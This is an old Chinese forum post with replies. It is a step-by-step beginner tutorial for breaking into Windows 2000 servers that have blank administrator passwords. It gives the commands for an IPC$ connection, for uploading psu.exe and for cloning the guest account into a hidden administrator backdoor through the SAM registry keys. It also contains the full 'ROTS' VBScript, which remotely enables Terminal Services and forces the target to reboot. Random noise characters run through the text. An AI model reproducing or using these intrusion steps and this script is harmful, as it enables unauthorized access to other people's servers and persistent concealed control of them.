一次简单的3389入侵

firelinux

一次简单的3389入侵过程 原创：caozhe（草哲） 来源：中国欲网技术论坛--草哲 3 {* \$ H3 f6 c' j. \: V1 g `$ v+ p8 b+ f6 m! t; @, X1 z- [我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ * s j5 i) }! ?- Z 于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 要入侵，我建议你在win2000环境下来*作！ 首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ 1 {: ^! `. `6 b$ T扫描的X-Scan V2.3、WINNTAutoAttack、流光！ & U( A7 }& @* `6 gX-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ . w. U* H& W5 _- |" _远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ OK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 . V) y6 k: e. c运行CMD（2000下的DOS），我们给它开终端！ 命令如下！ ! y) }! Y. e5 ?0 a" x; t2 hcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） " A: C$ J( n, m% @# `" }( O ! `2 X; A9 L4 u, Y因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ 4 [/ B% N Q; }+ J/ o一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ 4 U I. U/ {( }4 ]6 O回到DOS下！我们建立IPC$连接！ ( V' C* {- F6 S* Qnet use \\120.0.0.1\ipc$ "" /user:"administrator" 6 d* r+ `! F$ J. V8 v4 x4 `. G5 n7 u这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ / J* V: h* L/ h* ]copy psu.exe \\120.0.0.1\admin$\system32 上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ 假设guest用户被禁用，我们就是要利用guest做后门帐户！ 在该服务器运行CMD，在命令行下输入 ) |# z8 V% }7 y; [+ w' H$ apsu -p regedit -i PID / A8 k! _. o, @) y3 T* @% @* y1 U 9 r+ ^$ j* x7 y# T# o" z1 ]8 j' Y这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ 看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 psu -p regedit -i 5458 这样直接打开注册表，可以读取本地sam的信息。 打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 0 f, O- n) u5 F9 l下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names + K! Y7 s# D2 f2 g查看administrator的类型，是if4，再看guest的是if5 7 K/ I9 Y0 s. n0 j, J. G好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 + K. q' t4 U+ ]! |/ P这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 ( `. i' W2 p9 G" t2 @2 AHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 : c/ W0 O. S3 V3 ?6 D双击右侧的F，把刚复制的粘贴到里面！ 做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 $ R& {& P( _, j; N4 B和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 1 y( w7 `; k$ n+ H; m1 L这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 & C. E( B2 w" d0 i! C2 |打开CMD，在命令行下输入 net user guest password 这条命令是给guest设置密码，后面的password就是密码 3 W* ?4 P' M. F. ^然后输入 B0 w2 m! B+ Q( h! V& jnet user guest /active:y 这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n , ^4 N9 i" ^- G4 G6 P# P: u! b上面的三行命令必须在DOS下执行！ OK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 注销一下，用guest登陆吧！ ' S3 h6 t* G% {1 f打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ # u9 n. \& c9 v. F如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ ( p+ A; c+ r7 Y. R 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ ---------------------------------------------------------------------- 以下是开终端的脚本，把它存为*.vbe 9 Q* {* _2 h7 c. m1 Zon error resume next set outstreem=wscript.stdout 8 \; F4 S2 [& ~ ?7 x# `$ e- Wset instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then 6 F3 |/ j5 d4 H. S3 D7 ~ set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit & f: Y8 J8 c3 R' X, f5 bend if if wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." wscript.quit end if ' V; S) z( W( n- J6 R) P 5 O7 x( N- C/ m+ l3 q' K0 y+ }8 }ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) * M- \" q* k* t9 z* _. w L8 Oif wscript.arguments.count>3 then port=wscript.arguments(3) else port=3389 end if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit 4 p4 p- U# g- `end if if wscript.arguments.count>4 then reboot=wscript.arguments(4) else reboot="" , u4 R. P# S f# P$ M8 ^9 Iend if # \7 r) ~$ M2 z' t( y % v8 r9 t1 h9 ^' }8 l2 H& {" Husage() $ e. j+ _/ n+ p7 W4 `9 h; Ooutstreem.write "Conneting "&ipaddress&" ...." : P1 S4 X" ~$ w9 Gset objlocator=createobject("wbemscripting.swbemlocator") . U: @5 n9 @# a" z! _set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) 1 D. A4 K; E# m! |% N0 C1 ~objswbemservices.security_.privileges.add 23,true # r1 _1 B* i% I, U+ N; Nobjswbemservices.security_.privileges.add 18,true ' W% O) X1 p, [* K; [$ O/ h9 Joutstreem.write "Checking OS type...." $ K: I n( X0 X+ V) B% fset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then ' w* H4 r+ O5 R wscript.echo "OK!" else ) j5 O6 i5 r, U7 h( N" K wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" strcancel=instreem.readline / \5 X: K0 D% f& R6 O) Z5 U) k) { if lcase(strcancel)<>"n" then wscript.quit end if next * W- S ~ n. C 9 {) S* R; ^4 t8 p% H+ ^. Coutstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 ) M1 t3 J' b& k% S6 Ewith objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" # X, V: @, J8 t.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 `- D8 E& I2 Q8 v, ~.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with showerror(err.number) rebt=lcase(reboot) flag=0 # Y6 I. v) _7 J7 B+ A! {; ]) q: {4 yif rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then 9 [8 P5 |, O) v outstreem.write "Now, reboot target...." 8 F1 k1 J" k7 K+ c7 k3 ? v strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances ) v" u* N+ W3 f/ L4 D% u5 M# M objinstance.win32shutdown(flag) ; }1 ^0 D. J/ h next showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" ) |7 Z. f5 h; r( A4 g n$ lfunction showerror(errornumber) if errornumber Then 2 A {; K \+ {3 Y wscript.echo "Error 0x"&cstr(hex(err.number))&" ." % A( p7 }( \* F. ~: P" @& \* X3 q if err.description <> "" then _$ T) M( k* P( Z& u wscript.echo "Error description: "&err.description&"." ; f6 Q% N- M; F end if wscript.quit 0 A+ E8 j5 y& F5 @2 o1 m/ jelse . F c3 x, U% n {5 A b# L0 |2 o wscript.echo "OK!" end if end function 5 Z0 k7 x+ y' i& f& C! j2 i; Q0 D # k! M9 y% x: l# x9 \" Pfunction usage() wscript.echo string(79,"*") ; N7 n( E1 N% y& Q5 e! nwscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" ) D- \$ P' E5 ~+ v5 c- b0 z! E& n% Gwscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." 9 R( o3 L v) ?! ^" X J ?wscript.echo "/fr: auto force reboot target." wscript.echo string(79,"*")&vbcrlf 5 ]8 K: d4 M: u8 x" Rend function 0 X9 a' |5 u) E, a( D0 V* @; P0 p 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
2 G" Z; z0 P: e# A还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的
0 Y& r6 ?) A7 I' o5 {& ^

% U: [4 E  U. G2 S


( w: n2 f: J- ]4 i
: g" P1 q3 z2 [" z$ ]) @; o

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。